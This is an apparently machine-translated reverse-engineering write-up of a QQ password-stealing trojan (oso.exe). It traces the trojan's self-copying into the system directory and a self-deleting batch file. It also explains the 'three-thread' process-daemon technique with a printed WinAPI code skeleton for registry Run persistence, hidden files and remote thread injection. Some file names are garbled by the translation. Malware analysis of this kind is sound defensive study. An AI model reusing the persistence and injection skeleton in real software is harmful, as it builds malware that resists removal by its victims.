Virus Trojan scan: Reverse Analysis of QQ Trojan Horse stealing

Virus Trojan scan: Reverse Analysis of QQ Trojan Horse stealing
I. Preface in this series of articles, if there are no special circumstances in the last part of Virus analysis, I will use reverse analysis to thoroughly analyze the target virus for readers. However, I used three articles (about 2500 words per article) for the previous "pandatv incense" virus to analyze only 1/3 of the virus, the core part of the virus has not been analyzed yet. This is mainly because it is the first virus that I have analyzed for you in this series. In order to clarify some principles, the article is a little lengthy and mainly takes care of beginner's friends, abandon those advanced things and present my actual analysis process completely. I believe that after carefully reading the three articles, you can master the basic analysis methods. In my subsequent articles, I will only discuss some important parts of the virus, will skip the irrelevant content. Of course, I will still describe it with detailed pictures and text, so that you can read these articles as if you were doing it yourself.
Generally, virus analysis does not involve algorithm issues. If you want to analyze algorithms (for example, my previous analysis on the CM4 registration mechanism), we need to focus more on the process and logic of the program, generally, do not go into the specific content of the CALL. Virus analysis usually requires figuring out the meaning of each CALL to identify the behavior of the virus. Therefore, the first part of this article focuses on the analysis of these calls. The second part briefly discusses the implementation of the Process daemon technology.


Ii. Reverse Analysis here we skip the initialization part of the program and come to the position of the first API function:

Figure 1
The first API function we can see is GetModuleFileName. This function is used to obtain the complete path of the file of the module loaded by the current process. This module must be loaded by the current process. The return value of this function is the file path length. it is visible that the returned value is stored in EAX, Which is 2B, that is, the path length is 2B characters. You can see what the returned path is. Save the path to "PathBuffer" in Figure 1 and track the address to view it:

Figure 2
The program correctly obtains the address of the current file. Next, analyze the next API function:



Figure 3
Here, the ShellExecute Function is used to run an external program (or to open a registered file, open a directory, print a file, and so on ), and control the external program. With the help of this program, shellexecuteruns the assumer.exe program to open "d: \", which means to use the program manager to open the root directory of the d disk. However, the execution of this API function is conditional. It needs to be determined based on the results of the second CALL statement in Figure 3, so it is necessary to enter this CALL, check the conditions that need to be met before you can execute ShellExecute.
Go to the oso.00403C48 function and see the following code:

Figure 4
The program compares the content in EAX and EDX. The string saved by EAX is the path of the current file obtained by GetModuleFileName, which is converted to uppercase characters. EDX stores the OSO. EXE file path under the root directory of the D Drive. The two are obviously different here. Therefore, the conditional jump statement highlighted in yellow in Figure 4 is not true, and the program continues to run in sequence:

Figure 5
It should be noted that, because the virus is compiled by Delphi, the first address of the string minus 4, and the 4 bytes taken out is the length of the string. Therefore, the first two sentences in Figure 5 mean to get the characters of the two paths and then compare them by subtraction. Here it is obvious that the number of characters in the current path is large, so the yellow highlighted condition jump is true and comes to the position of oso.00403C6B:

Figure 6
The comparison is still a character. Because the two are not equal, the condition jump in the last sentence is true and comes to the position of oso.00403CD1:



Figure 7
The comparison here is the drive letter, which is also not equal, so the conditional jump is true, and this function is executed. Based on the above analysis, this function is used to determine whether the current file is located in the root directory of the d disk. If yes, execute the ShellExecute Function in figure 3, otherwise, this function is skipped. Because our program is located on the desktop, the ShellExecute Function is not executed.
Next, the program will continue to judge whether the current program is located in the root directory of E, F, G, H, and I. If not, the corresponding ShellExecute Function will not be executed.
The program then calls the function named oso.004050F0 to go to its internal analysis:

Figure 8
The virus program calls the GetSystemDirectory function to obtain the system directory. Generally, malicious programs use this function to copy themselves to the system directory to confuse users (for details, see anti-virus attack and defense article 001st: self-replication and self-deletion). The virus program combines eclipeclipsevere.exe with the system directory string obtained above. The new path is the location where the virus program needs to be hidden:

Figure 9
Then you can see the CreateFile function:

Figure 10
However, the execution of the CreateFile function is conditional, and it depends on the return value of CALL in the first line of code. Go to this CALL for analysis and you can find:



Figure 11
The program calls findfirstfile.exe to check whether the file severe.exe exists in the system directory. If the file does not exist (the returned value is-1), The CreateFile function in Figure 10 is not executed. It can be seen that the CreateFile function is not used to create a file, but to open a file. Next, copy the file:

Figure 12
After a series of copies, the virus changes itself to tfidma.exe and copies it to the system directory. You can also change your name to conime.exe and copy it to the drivers folder in the system directory. Similar operations are not described in detail. The program then calls the ShellExecute Function again to execute the created programs. As a result, severe.exe=conime.exeand tfidma.exe processes are displayed in the region resource manager. It can be said that at this time, our computer is already infected with viruses. Next we will encounter the thread creation function:

Figure 13
The CreateThread function is often used in combination with the Sleep or WaitForSingleObject function. Because each thread has its own CPU time slice, when the main thread creates a new thread, its CPU time slice is sometimes not complete, and it can continue to run. Sometimes, if the main thread has very few codes, the main thread will exit after execution in the CPU-specified CPU time slice. When the main thread ends, the program ends. In this case, the thread we created is not executed at all. So we need to let the main thread wait for the thread we created, and we need to use the Sleep or WaitForSingleObject function. This program uses the Sleep function (wait 1.3 seconds ).
Return to figure 13, according to the OD parsing of the CreateThread function, we can know that this thread calls the oso.00404958 function. As you can see from the analysis of this function, it mainly creates and executes the batch processing file "hx1.bat", and the batch processing content is:

@echo off   set date=2004-1-22  ping ** localhost > nul   date %date%  del %0  

Its main function is to modify the system time, test the local network system, and delete itself. This is part of the common analysis of viruses.

 

Iii. Process daemon Technical Principles

 

The process daemon technology was originally originated from the "Chinese hacker virus (worm. runouce)", which pioneered the "three threads" structure. Three threads are created to better protect programs from being closed or deleted. We can place the code we want to execute in the main thread, and then generate two auxiliary threads. Their function is to implement program protection and prevent programs from being closed or deleted by users. Here, we call the executable file process as the main process. The two auxiliary threads monitor each other in real time. If the Monitored object is disabled, re-create the thread or process. For example, you can select assumer.exeand taskmgr.exe as the remote process resident. If the user knows that the remote thread is located in the resource manager, the task manager is opened to end the Explorer. Then, the remote thread is located in the task manager. That is to say, as long as either Explorer or Taskmgr exists, it is impossible to end the main process. If you have other tools to end the process, you can disable it. If neither the resource manager nor the task manager exists, no agent is in place to maintain the remote process. However, if the remote process we select is random, or the virus is created, this is not easy to find.

 

The program framework of this three-thread structure is roughly as follows (the Code comes from the analysis of three-thread program development ideas and implementation):

// 1. main thread: main // obtain the system directory of the operating system GetSystemDirectory (syspath, MAX_PATH); // query whether the virus exists in the directory of FindFirstFile (virusname, & fdata ); // if the system directory does not exist, copy the running program to the system directory CopyFile (curname, tname, TRUE); // After the query is complete, close related handle FindClose (ffhandle); // open the CreateFile (kname, GENERIC_WRITE, file_pai_write, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) file in the system directory ); // modify the time SetFileTime (fchandle, & ftime, NULL, & ftime); // set the property SetFileAttributes (kname, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ); // create an auxiliary monitoring thread CreateThread (NULL, 0, watch, (LPVOID) rthread, 0, NULL) that resides in the main process; // 2. local auxiliary monitoring thread: watch // open the HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run RegOpenKeyEx (HKEY_LOCAL_MACHINE, rgspath, 0, KEY_QUERY_VALUE, & hkey) of the registry as a query ); // query whether virusname's key value RegQueryValueEx (hkey, _ T ("virusname"), NULL, NULL, (LPBYTE) lpdata, & dwbuflen) exists ); // if no key value exists, open the Registry RegOpenKeyEx (HKEY_LOCAL_MACHINE, rgspath, 0, KEY_WRITE, & hkey) again in write mode; // write what we want, the system runs our executable file every time it starts. RegSetValueEx (hkey, _ T ("virusname"), NULL, type, (const byte *) wtname, dwbuflen ); // obtain the running status of the remote thread to check whether it is STILL_ACTIVE. If not, create the remote thread GetExitCodeThread (wethread, & exitcode); // 3. remote thread: remote // open the main process in all possible access modes to monitor the running status of the main process tOpenProcess (PROCESS_ALL_ACCESS, FALSE, erp-> rpmousepid ); // wait until the main process ends tWaitForSingleObject (erp-> rpprocesshandle, INFINITE); // restart our Executable File tWinExec (erp-> rpwinexecname, 0); // 4. obtain the process ID: processtopid // list all processes EnumProcesses (lpidprocesses, sizeof (lpidprocesses), & cbneeded ); // open the process OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, lpidprocesses [I]) by querying information and reading; // obtain the process module handle EnumProcessModules (hprocess, & hmodule, sizeof (hmodule), & cbneeded); // obtain the name of a specific module for comparison with GetModuleBaseName (hprocess, hmodule, normalname, sizeof (normalname); // 5. create a remote thread: createremote // PROCESS_CREATE_THREAD for CreateRemoteThread // metadata for VirtualAllocEx // metadata for WriteProcessMemory OpenProcess (PROCESS_CREATE_THREAD | metadata | PROCESS_VM_WRITE, FALSE, remotepid ); // allocate space in the remote process for storing the thread code in VirtualAllocEx (rphandle, NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // Write remote code from the remote thread to WriteProcessMemory (rphandle, remotethr, (LPVOID) remote, cb, NULL) in the address space of the remote process ); // write the parameters required by the remote thread to WriteProcessMemory (rphandle, remotepar, (LPVOID) & rp, cb, NULL) in the address space of the remote process ); // create a remote monitoring thread CreateRemoteThread (rphandle, NULL, 0, (LPTHREAD_START_ROUTINE) remotethr, (LPVOID) remotepar, 0, NULL );

After all, this series does not teach you how to write viruses, but analyzes the general idea of viruses. Therefore, you can make a general impression on the above programs, so that in the future practical analysis, there will be a general response.

 

Iv. Summary

In this case, the analysis of the QQ Trojan (oso.exe) virus program is here. In fact, these articles mainly discuss the implementation and elimination of the Process daemon technology. In future articles, I will only discuss some of the unique characteristics of the virus and keep pace with the times to study some of the currently popular viruses.